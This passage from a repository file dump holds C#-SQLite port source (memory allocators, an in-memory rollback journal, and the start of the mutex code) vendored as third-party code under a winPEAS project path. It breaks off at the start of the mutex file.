(u8*)sqlite3GlobalConfig.pScratch);\n        //  i /=  sqlite3GlobalConfig.szScratch;\n        //  Debug.Assert(i>=0 && i< sqlite3GlobalConfig.nScratch );\n        //  sqlite3_mutex_enter(mem0.mutex);\n        //  Debug.Assert(mem0.nScratchFree< (u32)sqlite3GlobalConfig.nScratch );\n        //  mem0.aScratchFree[mem0.nScratchFree++] = i;\n        //  sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_USED, -1);\n        //  sqlite3_mutex_leave(mem0.mutex);\n        //}\n      }\n    }\n\n    /*\n    ** TRUE if p is a lookaside memory allocation from db\n    */\n#if !SQLITE_OMIT_LOOKASIDE\nstatic bool isLookaside( sqlite3 db, object p )\n{\nreturn db != null && p >= db.lookaside.pStart && p < db.lookaside.pEnd;\n}\n#else\n    //#define isLookaside(A,B) 0\n    static bool isLookaside( sqlite3 db, object p )\n    {\n      return false;\n    }\n#endif\n\n    /*\n** Return the size of a memory allocation previously obtained from\n** sqlite3Malloc() or sqlite3_malloc().\n*/\n    static int sqlite3MallocSize( byte[] p )\n    {\n      return sqlite3GlobalConfig.m.xSize( p );\n    }\n\n    int sqlite3DbMallocSize( sqlite3 db, byte[] p )\n    {\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n      if ( isLookaside( db, p ) )\n      {\n        return db.lookaside.sz;\n      }\n      else\n      {\n        return sqlite3GlobalConfig.m.xSize( p );\n      }\n    }\n\n    /*\n    ** Free memory previously obtained from sqlite3Malloc().\n    */\n    // -- overloads ---------------------------------------\n    static void //sqlite3_free( ref string x )\n    { x = null; }\n\n    static void //sqlite3_free<T>( ref T x ) where T : class\n    { x = null; }\n\n    static void //sqlite3_free( ref byte[] p )\n    {\n      if ( p == null ) return;\n      if ( sqlite3GlobalConfig.bMemstat )\n      {\n        sqlite3_mutex_enter( mem0.mutex );\n        sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, -sqlite3MallocSize( p ) );\n        sqlite3GlobalConfig.m.xFree( ref  p );\n        sqlite3_mutex_leave( mem0.mutex );\n      }\n      else\n      {\n        Debugger.Break(); // TODO --    sqlite3GlobalConfig.m.xFree(p);\n      }\n    }\n    /*\n    ** Free memory that might be associated with a particular database\n    ** connection.\n    */\n    // -- overloads ---------------------------------------\n    static void //sqlite3DbFree( sqlite3 db, ref string x )\n    {\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n      x = null;\n    }\n    static void //sqlite3DbFree( sqlite3 db, ref byte[] x )\n    {\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n      x = null;\n    }\n    static void //sqlite3DbFree( sqlite3 db, ref int[] x )\n    {\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n      x = null;\n    }\n    static void //sqlite3DbFree( sqlite3 db, ref StringBuilder x )\n    {\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n      x = null;\n    }\n    static void //sqlite3DbFree<T>( sqlite3 db, ref T p ) where T : class\n    {\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n      p = null;\n    }\n    static void //sqlite3DbFree( sqlite3 db, object p )\n    {\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n      if ( isLookaside( db, p ) )\n      {\n        LookasideSlot pBuf = (LookasideSlot)p;\n        pBuf.pNext = db.lookaside.pFree;\n        db.lookaside.pFree = pBuf;\n        db.lookaside.nOut--;\n      }\n      else\n      {\n        //sqlite3_free( ref p );\n      }\n    }\n\n    /*\n    ** Change the size of an existing memory allocation\n    */\n    static byte[] sqlite3Realloc( byte[] pOld, int nBytes )\n    {\n      int nOld, nNew;\n      byte[] pNew = null;\n      if ( pOld == null )\n      {\n        return sqlite3Malloc( nBytes );\n      }\n      if ( nBytes <= 0 )\n      {\n        //sqlite3_free( ref  pOld );\n        return null;\n      }\n      if ( nBytes >= 0x7fffff00 )\n      {\n        /* The 0x7ffff00 limit term is explained in comments on sqlite3Malloc() */\n        return null;\n      }\n      nOld = sqlite3MallocSize( pOld );\n      if ( sqlite3GlobalConfig.bMemstat )\n      {\n        sqlite3_mutex_enter( mem0.mutex );\n        sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, nBytes );\n        nNew = sqlite3GlobalConfig.m.xRoundup( nBytes );\n        if ( nOld == nNew )\n        {\n          pNew = pOld;\n        }\n        else\n        {\n          if ( sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ) + nNew - nOld >=\n          mem0.alarmThreshold )\n          {\n            sqlite3MallocAlarm( nNew - nOld );\n          }\n          Debugger.Break(); // TODO --\n          //pNew =  sqlite3GlobalConfig.m.xRealloc(pOld, nNew);\n          //if( pNew==0 && mem0.alarmCallback ){\n          //  sqlite3MallocAlarm(nBytes);\n          //  pNew =  sqlite3GlobalConfig.m.xRealloc(pOld, nNew);\n          //}\n          if ( pNew != null )\n          {\n            nNew = sqlite3MallocSize( pNew );\n            sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nNew - nOld );\n          }\n        }\n        sqlite3_mutex_leave( mem0.mutex );\n      }\n      else\n      {\n        Debugger.Break(); // TODO --pNew =  sqlite3GlobalConfig.m.xRealloc(ref pOld, nBytes);\n      }\n      return pNew;\n    }\n\n    /*\n    ** The public interface to sqlite3Realloc.  Make sure that the memory\n    ** subsystem is initialized prior to invoking sqliteRealloc.\n    */\n    static byte[] sqlite3_realloc( object pOld, int n )\n    {\n#if !SQLITE_OMIT_AUTOINIT\n      if ( sqlite3_initialize() != 0 ) return null;\n#endif\n      return sqlite3Realloc( (byte[])pOld, n );\n    }\n\n\n    /*\n    ** Allocate and zero memory.\n    */\n    static byte[] sqlite3MallocZero( int n )\n    {\n      byte[] p = sqlite3Malloc( n );\n      if ( p != null )\n      {\n        //memset(p, 0, n);\n      }\n      return p;\n    }\n\n    /*\n    ** Allocate and zero memory.  If the allocation fails, make\n    ** the mallocFailed flag in the connection pointer.\n    */\n    static byte[] sqlite3DbMallocZero( sqlite3 db, int n )\n    {\n      byte[] p = sqlite3DbMallocRaw( db, n );\n      if ( p != null )\n      {\n        //  memset(p, 0, n);\n      }\n      return p;\n    }\n\n    /*\n    ** Allocate and zero memory.  If the allocation fails, make\n    ** the mallocFailed flag in the connection pointer.\n    **\n    ** If db!=0 and db->mallocFailed is true (indicating a prior malloc\n    ** failure on the same database connection) then always return 0.\n    ** Hence for a particular database connection, once malloc starts\n    ** failing, it fails consistently until mallocFailed is reset.\n    ** This is an important assumption.  There are many places in the\n    ** code that do things like this:\n    **\n    **         int *a = (int*)sqlite3DbMallocRaw(db, 100);\n    **         int *b = (int*)sqlite3DbMallocRaw(db, 200);\n    **         if( b ) a[10] = 9;\n    **\n    ** In other words, if a subsequent malloc (ex: \"b\") worked, it is assumed\n    ** that all prior mallocs (ex: \"a\") worked too.\n    */\n    static byte[] sqlite3DbMallocRaw( sqlite3 db, int n )\n    {\n      byte[] p;\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n#if !SQLITE_OMIT_LOOKASIDE\nif( db ){\nLookasideSlot pBuf;\nif( db.mallocFailed !=0{\nreturn 0;\n}\nif( db.lookaside.bEnabled && n<=db.lookaside.sz\n&& (pBuf = db.lookaside.pFree)!=0 ){\ndb.lookaside.pFree = pBuf.pNext;\ndb.lookaside.nOut++;\nif( db.lookaside.nOut>db.lookaside.mxOut ){\ndb.lookaside.mxOut = db.lookaside.nOut;\n}\nreturn (void*)pBuf;\n}\n}\n#else\n      if ( db != null && db.mallocFailed != 0 )\n      {\n        return null;\n      }\n#endif\n      p = sqlite3Malloc( n );\n      if ( null == p && db != null )\n      {\n////        db.mallocFailed = 1;\n      }\n      return p;\n    }\n\n    /*\n    ** Resize the block of memory pointed to by p to n bytes. If the\n    ** resize fails, set the mallocFailed flag inthe connection object.\n    */\n    static object sqlite3DbRealloc( sqlite3 db, object p, int n )\n    {\n      return p;\n      //  void pNew = 0;\n      //assert( db!=0 );\n      //assert( sqlite3_mutex_held(db->mutex) );\n      //  if( db.mallocFailed==0 ){\n      //    if( p==0 ){\n      //      return sqlite3DbMallocRaw(db, n);\n      //    }\n      //    if( isLookaside(db, p) ){\n      //      if( n<=db.lookaside.sz ){\n      //        return p;\n      //      }\n      //      pNew = sqlite3DbMallocRaw(db, n);\n      //      if( pNew ){\n      //        memcpy(pNew, p, db.lookaside.sz);\n      //        //sqlite3DbFree(db, p);\n      //      }\n      //    }else{\n      //      pNew = sqlite3_realloc(p, n);\n      //      if( null==pNew ){\n      //////        db.mallocFailed = 1;\n      //      }\n      //    }\n      //  }\n      //  return pNew;\n    }\n\n    /*\n    ** Attempt to reallocate p.  If the reallocation fails, then free p\n    ** and set the mallocFailed flag in the database connection.\n    */\n    //static     void sqlite3DbReallocOrFree(sqlite3 db, object p, int n){\n    //  object pNew;\n    //  pNew = \"\";//sqlite3DbRealloc(db, p, n);\n    //      if( pNew ==null){\n    //        //sqlite3DbFree(db,ref  p);\n    //      }\n    //      return pNew;\n    //    }\n\n    /*\n    ** Make a copy of a string in memory obtained from sqliteMalloc(). These\n    ** functions call sqlite3MallocRaw() directly instead of sqliteMalloc(). This\n    ** is because when memory debugging is turned on, these two functions are\n    ** called via macros that record the current file and line number in the\n    ** ThreadData structure.\n    */\n    //char *sqlite3DbStrDup(sqlite3 db, const char *z){\n    //  char *zNew;\n    //  size_t n;\n    //  if( z==0 ){\n    //    return 0;\n    //  }\n    //  n = sqlite3Strlen30(z) + 1;\n    //  assert( (n&0x7fffffff)==n );\n    //  zNew = sqlite3DbMallocRaw(db, (int)n);\n    //  if( zNew ){\n    //    memcpy(zNew, z, n);\n    //  }\n    //  return zNew;\n    //}\n    //char *sqlite3DbStrNDup(sqlite3 *db, const char *z, int n){\n    //  char *zNew;\n    //  if( z==0 ){\n    //    return 0;\n    //  }\n    //  assert( (n&0x7fffffff)==n );\n    //  zNew = sqlite3DbMallocRaw(db, n+1);\n    //  if( zNew ){\n    //    memcpy(zNew, z, n);\n    //    zNew[n] = 0;\n    //  }\n    //  return zNew;\n    //}\n\n#endif\n    /*\n    ** Create a string from the zFromat argument and the va_list that follows.\n    ** Store the string in memory obtained from sqliteMalloc() and make pz\n    ** point to that string.\n    */\n    static void sqlite3SetString( ref byte[] pz, sqlite3 db, string zFormat, params string[] ap )\n    {\n      string sz = \"\";\n      sqlite3SetString( ref sz, db, zFormat, ap );\n      pz = Encoding.UTF8.GetBytes( sz );\n    }\n    static void sqlite3SetString( ref string pz, sqlite3 db, string zFormat, byte[] ap )\n    { sqlite3SetString( ref pz, db, zFormat, Encoding.UTF8.GetString( ap ) ); }\n\n    static void sqlite3SetString( ref string pz, sqlite3 db, string zFormat, params string[] ap )\n    {\n      //va_list ap;\n      string z;\n\n      va_start( ap, zFormat );\n      z = sqlite3VMPrintf( db, zFormat, ap );\n      va_end( ap );\n      //sqlite3DbFree( db, ref pz );\n      pz = z;\n    }\n\n    /*\n    ** This function must be called before exiting any API function (i.e.\n    ** returning control to the user) that has called sqlite3_malloc or\n    ** sqlite3_realloc.\n    **\n    ** The returned value is normally a copy of the second argument to this\n    ** function. However, if a malloc() failure has occurred since the previous\n    ** invocation SQLITE_NOMEM is returned instead.\n    **\n    ** If the first argument, db, is not NULL and a malloc() error has occurred,\n    ** then the connection error-code (the value returned by sqlite3_errcode())\n    ** is set to SQLITE_NOMEM.\n    */\n    static int sqlite3ApiExit( int zero, int rc )\n    {\n      sqlite3 db = null;\n      return sqlite3ApiExit( db, rc );\n    }\n\n    static int sqlite3ApiExit( sqlite3 db, int rc )\n    {\n      /* If the db handle is not NULL, then we must hold the connection handle\n      ** mutex here. Otherwise the read (and possible write) of db.mallocFailed\n      ** is unsafe, as is the call to sqlite3Error().\n      */\n      Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) );\n      if ( /*db != null && db.mallocFailed != 0 || */ rc == SQLITE_IOERR_NOMEM )\n      {\n        sqlite3Error( db, SQLITE_NOMEM, \"\" );\n        //db.mallocFailed = 0;\n        rc = SQLITE_NOMEM;\n      }\n      return rc & ( db != null ? db.errMask : 0xff );\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mem0_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 October 28\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains a no-op memory allocation drivers for use when\n    ** SQLITE_ZERO_MALLOC is defined.  The allocation drivers implemented\n    ** here always fail.  SQLite will not operate with these drivers.  These\n    ** are merely placeholders.  Real drivers must be substituted using\n    ** sqlite3_config() before SQLite will operate.\n    **\n    ** $Id: mem0.c,v 1.1 2008/10/28 18:58:20 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** This version of the memory allocator is the default.  It is\n    ** used when no other memory allocator is specified using compile-time\n    ** macros.\n    */\n#if SQLITE_ZERO_MALLOC\n\n/*\n** No-op versions of all memory allocation routines\n*/\nstatic void sqlite3MemMalloc(int nByte){ return 0; }\nstatic void sqlite3MemFree(object pPrior){ return; }\nstatic void sqlite3MemRealloc(object pPrior, int nByte){ return 0; }\nstatic int sqlite3MemSize(object pPrior){ return 0; }\nstatic int sqlite3MemRoundup(int n){ return n; }\nstatic int sqlite3MemInit(object NotUsed){ return SQLITE_OK; }\nstatic void sqlite3MemShutdown(object NotUsed){ return; }\n\n/*\n** This routine is the only routine in this file with external linkage.\n**\n** Populate the low-level memory allocation function pointers in\n** sqlite3GlobalConfig.m with pointers to the routines in this file.\n*/\nvoid sqlite3MemSetDefault(){\nstatic const sqlite3_mem_methods defaultMethods = {\nsqlite3MemMalloc,\nsqlite3MemFree,\nsqlite3MemRealloc,\nsqlite3MemSize,\nsqlite3MemRoundup,\nsqlite3MemInit,\nsqlite3MemShutdown,\n0\n};\nsqlite3_config(SQLITE_CONFIG_MALLOC, &defaultMethods);\n}\n\n#endif //* SQLITE_ZERO_MALLOC */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mem1_c.cs",
    "content": "using System;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2007 August 14\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains low-level memory allocation drivers for when\n    ** SQLite will use the standard C-library malloc/realloc/free interface\n    ** to obtain the memory it needs.\n    **\n    ** This file contains implementations of the low-level memory allocation\n    ** routines specified in the sqlite3_mem_methods object.\n    **\n    ** $Id: mem1.c,v 1.30 2009/03/23 04:33:33 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** This version of the memory allocator is the default.  It is\n    ** used when no other memory allocator is specified using compile-time\n    ** macros.\n    */\n#if SQLITE_SYSTEM_MALLOC\n\n    /*\n** Like malloc(), but remember the size of the allocation\n** so that we can find it later using sqlite3MemSize().\n**\n** For this low-level routine, we are guaranteed that nByte>0 because\n** cases of nByte<=0 will be intercepted and dealt with by higher level\n** routines.\n*/\n    static byte[] sqlite3MemMalloc( int nByte )\n    {\n      //sqlite3_int64 p;\n      //Debug.Assert(nByte > 0 );\n      //nByte = ROUND8(nByte);\n      //p = malloc( nByte + 8 );\n      //if ( p )\n      //{\n      //  p[0] = nByte;\n      //  p++;\n      //}\n      //return (void*)p;\n      return new byte[nByte];\n    }\n    /*\n    ** Free memory.\n    */\n    // -- overloads ---------------------------------------\n    static void sqlite3MemFree<T>( ref T x ) where T : class\n    { x = null; }\n    static void sqlite3MemFree( ref  string x ) { x = null; }\n    //\n\n    /*\n    ** Like free() but works for allocations obtained from sqlite3MemMalloc()\n    ** or sqlite3MemRealloc().\n    **\n    ** For this low-level routine, we already know that pPrior!=0 since\n    ** cases where pPrior==0 will have been intecepted and dealt with\n    ** by higher-level routines.\n    */\n    //static void sqlite3MemFree(void pPrior){\n    //  sqlite3_int64 p = (sqlite3_int64*)pPrior;\n    //  Debug.Assert(pPrior!=0 );\n    //  p--;\n    //  free(p);\n    //}\n\n    /*\n    ** Like realloc().  Resize an allocation previously obtained from\n    ** sqlite3MemMalloc().\n    **\n    ** For this low-level interface, we know that pPrior!=0.  Cases where\n    ** pPrior==0 while have been intercepted by higher-level routine and\n    ** redirected to xMalloc.  Similarly, we know that nByte>0 becauses\n    ** cases where nByte<=0 will have been intercepted by higher-level\n    ** routines and redirected to xFree.\n    */\n    static byte[] sqlite3MemRealloc( ref byte[] pPrior, int nByte )\n    {\n      //  sqlite3_int64 p = (sqlite3_int64*)pPrior;\n      //  Debug.Assert(pPrior!=0 && nByte>0 );\n      //  nByte = ROUND8( nByte );\n      //  p = (sqlite3_int64*)pPrior;\n      //  p--;\n      //  p = realloc(p, nByte+8 );\n      //  if( p ){\n      //    p[0] = nByte;\n      //    p++;\n      //  }\n      //  return (void*)p;\n      Array.Resize( ref pPrior, nByte );\n      return pPrior;\n    }\n\n    /*\n    ** Report the allocated size of a prior return from xMalloc()\n    ** or xRealloc().\n    */\n    static int sqlite3MemSize( byte[] pPrior )\n    {\n      //  sqlite3_int64 p;\n      //  if( pPrior==0 ) return 0;\n      //  p = (sqlite3_int64*)pPrior;\n      //  p--;\n      //  return p[0];\n      return (int)pPrior.Length;\n    }\n\n    /*\n    ** Round up a request size to the next valid allocation size.\n    */\n    static int sqlite3MemRoundup( int n )\n    {\n      return ROUND8( n );\n    }\n\n    /*\n    ** Initialize this module.\n    */\n    static int sqlite3MemInit( object NotUsed )\n    {\n      UNUSED_PARAMETER( NotUsed );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Deinitialize this module.\n    */\n    static void sqlite3MemShutdown( object NotUsed )\n    {\n      UNUSED_PARAMETER( NotUsed );\n      return;\n    }\n\n    /*\n    ** This routine is the only routine in this file with external linkage.\n    **\n    ** Populate the low-level memory allocation function pointers in\n    ** sqlite3GlobalConfig.m with pointers to the routines in this file.\n    */\n    static void sqlite3MemSetDefault()\n    {\n      sqlite3_mem_methods defaultMethods = new sqlite3_mem_methods(\n      sqlite3MemMalloc,\n      sqlite3MemFree,\n      sqlite3MemRealloc,\n      sqlite3MemSize,\n      sqlite3MemRoundup,\n      (dxMemInit)sqlite3MemInit,\n      (dxMemShutdown)sqlite3MemShutdown,\n      0\n      );\n      sqlite3_config( SQLITE_CONFIG_MALLOC, defaultMethods );\n    }\n#endif //* SQLITE_SYSTEM_MALLOC */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/memjournal_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_int64 = System.Int64;\n  using MemJournal = CSSQLite.sqlite3_file;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2007 August 22\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains code use to implement an in-memory rollback journal.\n    ** The in-memory rollback journal is used to journal transactions for\n    ** \":memory:\" databases and when the journal_mode=MEMORY pragma is used.\n    **\n    ** @(#) $Id: memjournal.c,v 1.12 2009/05/04 11:42:30 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    //#include \"sqliteInt.h\"\n\n    /* Forward references to internal structures */\n    //typedef struct MemJournal MemJournal;\n    //typedef struct FilePoint FilePoint;\n    //typedef struct FileChunk FileChunk;\n\n    /* Space to hold the rollback journal is allocated in increments of\n    ** this many bytes.\n    **\n    ** The size chosen is a little less than a power of two.  That way,\n    ** the FileChunk object will have a size that almost exactly fills\n    ** a power-of-two allocation.  This mimimizes wasted space in power-of-two\n    ** memory allocators.\n    */\n    //#define JOURNAL_CHUNKSIZE ((int)(1024-sizeof(FileChunk*)))\n    const int JOURNAL_CHUNKSIZE = 4096;\n\n    /* Macro to find the minimum of two numeric values.\n    */\n    //#if ! MIN\n    //# define MIN(x,y) ((x)<(y)?(x):(y))\n    //#endif\n    static int MIN( int x, int y ) { return ( x < y ) ? x : y; }\n    static int MIN( int x, u32 y ) { return ( x < y ) ? x : (int)y; }\n\n    /*\n    ** The rollback journal is composed of a linked list of these structures.\n    */\n    public class FileChunk\n    {\n      public FileChunk pNext;                             /* Next chunk in the journal */\n      public byte[] zChunk = new byte[JOURNAL_CHUNKSIZE]; /* Content of this chunk */\n    };\n\n    /*\n    ** An instance of this object serves as a cursor into the rollback journal.\n    ** The cursor can be either for reading or writing.\n    */\n    public class FilePoint\n    {\n      public int iOffset;           /* Offset from the beginning of the file */\n      public FileChunk pChunk;      /* Specific chunk into which cursor points */\n    };\n\n    /*\n    ** This subclass is a subclass of sqlite3_file.  Each open memory-journal\n    ** is an instance of this class.\n    */\n    public partial class sqlite3_file\n    {\n      //public sqlite3_io_methods pMethods; /* Parent class. MUST BE FIRST */\n      public FileChunk pFirst;              /* Head of in-memory chunk-list */\n      public FilePoint endpoint;            /* Pointer to the end of the file */\n      public FilePoint readpoint;           /* Pointer to the end of the last xRead() */\n    };\n\n    /*\n    ** Read data from the in-memory journal file.  This is the implementation\n    ** of the sqlite3_vfs.xRead method.\n    */\n    static int memjrnlRead(\n    sqlite3_file pJfd,     /* The journal file from which to read */\n    byte[] zBuf,           /* Put the results here */\n    int iAmt,              /* Number of bytes to read */\n    sqlite3_int64 iOfst    /* Begin reading at this offset */\n    )\n    {\n      MemJournal p = (MemJournal)pJfd;\n      byte[] zOut = zBuf;\n      int nRead = iAmt;\n      int iChunkOffset;\n      FileChunk pChunk;\n\n      /* SQLite never tries to read past the end of a rollback journal file */\n      Debug.Assert( iOfst + iAmt <= p.endpoint.iOffset );\n\n      if ( p.readpoint.iOffset != iOfst || iOfst == 0 )\n      {\n        int iOff = 0;\n        for ( pChunk = p.pFirst ;\n        ALWAYS( pChunk != null ) && ( iOff + JOURNAL_CHUNKSIZE ) <= iOfst ;\n        pChunk = pChunk.pNext\n        )\n        {\n          iOff += JOURNAL_CHUNKSIZE;\n        }\n      }\n      else\n      {\n        pChunk = p.readpoint.pChunk;\n      }\n\n      iChunkOffset = (int)( iOfst % JOURNAL_CHUNKSIZE );\n      int izOut = 0;\n      do\n      {\n        int iSpace = JOURNAL_CHUNKSIZE - iChunkOffset;\n        int nCopy = MIN( nRead, ( JOURNAL_CHUNKSIZE - iChunkOffset ) );\n        Buffer.BlockCopy( pChunk.zChunk, iChunkOffset, zOut, izOut, nCopy ); //memcpy( zOut, pChunk.zChunk[iChunkOffset], nCopy );\n        izOut += nCopy;// zOut += nCopy;\n        nRead -= iSpace;\n        iChunkOffset = 0;\n      } while ( nRead >= 0 && ( pChunk = pChunk.pNext ) != null && nRead > 0 );\n      p.readpoint.iOffset = (int)( iOfst + iAmt );\n      p.readpoint.pChunk = pChunk;\n\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Write data to the file.\n    */\n    static int memjrnlWrite(\n    sqlite3_file pJfd,    /* The journal file into which to write */\n    byte[] zBuf,          /* Take data to be written from here */\n    int iAmt,             /* Number of bytes to write */\n    sqlite3_int64 iOfst   /* Begin writing at this offset into the file */\n    )\n    {\n      MemJournal p = (MemJournal)pJfd;\n      int nWrite = iAmt;\n      byte[] zWrite = zBuf;\n      int izWrite = 0;\n\n      /* An in-memory journal file should only ever be appended to. Random\n      ** access writes are not required by sqlite.\n      */\n      Debug.Assert( iOfst == p.endpoint.iOffset );\n      UNUSED_PARAMETER( iOfst );\n\n      while ( nWrite > 0 )\n      {\n        FileChunk pChunk = p.endpoint.pChunk;\n        int iChunkOffset = (int)( p.endpoint.iOffset % JOURNAL_CHUNKSIZE );\n        int iSpace = MIN( nWrite, JOURNAL_CHUNKSIZE - iChunkOffset );\n\n        if ( iChunkOffset == 0 )\n        {\n          /* New chunk is required to extend the file. */\n          FileChunk pNew = new FileChunk();// sqlite3_malloc( sizeof( FileChunk ) );\n          if ( null == pNew )\n          {\n            return SQLITE_IOERR_NOMEM;\n          }\n          pNew.pNext = null;\n          if ( pChunk != null )\n          {\n            Debug.Assert( p.pFirst != null );\n            pChunk.pNext = pNew;\n          }\n          else\n          {\n            Debug.Assert( null == p.pFirst );\n            p.pFirst = pNew;\n          }\n          p.endpoint.pChunk = pNew;\n        }\n\n        Buffer.BlockCopy( zWrite, izWrite, p.endpoint.pChunk.zChunk, iChunkOffset, iSpace ); //memcpy( &p.endpoint.pChunk.zChunk[iChunkOffset], zWrite, iSpace );\n        izWrite += iSpace;//zWrite += iSpace;\n        nWrite -= iSpace;\n        p.endpoint.iOffset += iSpace;\n      }\n\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Truncate the file.\n    */\n    static int memjrnlTruncate( sqlite3_file pJfd, sqlite3_int64 size )\n    {\n      MemJournal p = (MemJournal)pJfd;\n      FileChunk pChunk;\n      Debug.Assert( size == 0 );\n      UNUSED_PARAMETER( size );\n      pChunk = p.pFirst;\n      while ( pChunk != null )\n      {\n        FileChunk pTmp = pChunk;\n        pChunk = pChunk.pNext;\n        //sqlite3_free( ref pTmp );\n      }\n      sqlite3MemJournalOpen( pJfd );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Close the file.\n    */\n    static int memjrnlClose( MemJournal pJfd )\n    {\n      memjrnlTruncate( pJfd, 0 );\n      return SQLITE_OK;\n    }\n\n\n    /*\n    ** Sync the file.\n    **\n    ** Syncing an in-memory journal is a no-op.  And, in fact, this routine\n    ** is never called in a working implementation.  This implementation\n    ** exists purely as a contingency, in case some malfunction in some other\n    ** part of SQLite causes Sync to be called by mistake.\n    */\n    static int memjrnlSync( sqlite3_file NotUsed, int NotUsed2 )\n    {   /*NO_TEST*/\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );                      /*NO_TEST*/\n      Debug.Assert( false );                                       /*NO_TEST*/\n      return SQLITE_OK;                                            /*NO_TEST*/\n    }                                                              /*NO_TEST*/\n\n    /*\n    ** Query the size of the file in bytes.\n    */\n    static int memjrnlFileSize( sqlite3_file pJfd, ref int pSize )\n    {\n      MemJournal p = (MemJournal)pJfd;\n      pSize = p.endpoint.iOffset;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Table of methods for MemJournal sqlite3_file object.\n    */\n    static sqlite3_io_methods MemJournalMethods = new sqlite3_io_methods(\n    1,                /* iVersion */\n    (dxClose)memjrnlClose,       /* xClose */\n    (dxRead)memjrnlRead,         /* xRead */\n    (dxWrite)memjrnlWrite,       /* xWrite */\n    (dxTruncate)memjrnlTruncate, /* xTruncate */\n    (dxSync)memjrnlSync,         /* xSync */\n    (dxFileSize)memjrnlFileSize, /* xFileSize */\n    null,                        /* xLock */\n    null,                        /* xUnlock */\n    null,                        /* xCheckReservedLock */\n    null,                        /* xFileControl */\n    null,                        /* xSectorSize */\n    null                         /* xDeviceCharacteristics */\n    );\n\n    /*\n    ** Open a journal file.\n    */\n    static void sqlite3MemJournalOpen( sqlite3_file pJfd )\n    {\n      MemJournal p = (MemJournal)pJfd;\n      //memset( p, 0, sqlite3MemJournalSize() );\n      p.pFirst = null;\n      p.endpoint = new FilePoint();\n      p.readpoint = new FilePoint();\n      p.pMethods = MemJournalMethods;\n    }\n\n    /*\n    ** Return true if the file-handle passed as an argument is\n    ** an in-memory journal\n    */\n    static bool sqlite3IsMemJournal( sqlite3_file pJfd )\n    {\n      return pJfd.pMethods == MemJournalMethods;\n    }\n\n    /*\n    ** Return the number of bytes required to store a MemJournal that uses vfs\n    ** pVfs to create the underlying on-disk files.\n    */\n    static int sqlite3MemJournalSize()\n    {\n      return 3096; // sizeof( MemJournal );\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mutex_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2007 August 14\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains the C functions that implement mutexes.\n    **\n    ** This file contains code that is common across all mutex implementations.\n    **\n    ** $Id: mutex.c,v 1.31 2009/07/16 18:21:18 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n#if !SQLITE_MUTEX_OMIT\n/*\n** Initialize the mutex system.\n*/\nstatic int 